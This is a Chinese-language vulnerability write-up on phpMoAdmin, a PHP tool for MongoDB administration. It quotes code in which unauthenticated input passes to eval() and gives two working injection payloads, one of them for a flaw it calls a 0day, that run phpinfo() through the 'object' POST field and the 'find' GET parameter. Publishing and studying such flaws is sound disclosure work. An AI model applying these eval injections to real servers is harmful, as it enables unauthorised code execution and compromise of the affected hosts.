phpMoAdmin是一款便捷的在线MongoDB管理工具,可用于创建、删除和修改数据库和索引,提供视图和数据搜索工具,提供数据库启动时间和内存的统计,支持JSON格式数据的导入导出的php应用。
最近名为sp1nlock的黑客公布了 phpmoadmin的一个任意代码执行漏洞 ,该漏洞可能导致使用该管理程序的用户被入侵。
经阿里攻防实验室研究员经过简单分析后,在该应用中发现另外一处类似的远程代码执行漏洞(0day)。
0x01 已公开漏洞分析
漏洞文件moadmin.php,无验证登录权限。
public function __construct() { ….省略若干行… $action = (isset($_GET['action']) ? $_GET['action'] : 'listCollections'); if (isset($_POST['object'])) { //通过object参数传入 if (self::$model->saveObject($_GET['collection'], $_POST['object'])) //传入saveObject函数,导致代码漏洞{ return $this->_dumpFormVals();
saveObject函数:
public function saveObject($collection, $obj) { eval('$obj=' . $obj . ';'); //$obj参数可控,传入Eval执行 return $this->mongo->selectCollection($collection)->save($obj); }
0x02 利用
通过post传object=1;phpinfo();
0x03 0day分析
该程序存在另外一处任意代码执行漏洞,位置552-557行listRows函数
public function listRows($collection) { foreach ($this->sort as $key => $val) { //cast vals to int $sort[$key] = (int) $val; } $col = $this->mongo->selectCollection($collection); $find = array(); if (isset($_GET['find']) && $_GET['find']) {//通过get方法传入find变量 $_GET['find'] = trim($_GET['find']); if (strpos($_GET['find'], 'array') === 0) {//$find简单判断变量是否以array开头,为真则进入漏洞位置 eval('$find = ' . $_GET['find'] . ';');//传入eval执行任意代码 } else if (is_string($_GET['find'])) { if ($findArr = json_decode($_GET['find'], true)) { $find = $findArr; } } }
0x04 0day利用
比较没有营养 随手搜搜就出来2个eval 安全脉搏小编辑就直接写了吧 http://ip/moadmin.php?collection=secpulse&action=listRows&find=array();phpinfo();exit;